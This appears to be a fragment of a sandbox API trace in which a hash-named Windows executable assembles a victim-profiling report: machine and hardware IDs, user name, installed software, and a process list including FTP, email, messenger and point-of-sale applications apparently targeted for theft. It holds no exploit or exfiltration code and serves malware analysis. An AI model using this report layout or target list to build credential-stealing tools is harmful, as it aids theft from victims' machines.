[1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [", lpString2="14.25.28508.3" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3"
[0054.957] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]"
[0054.957] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe 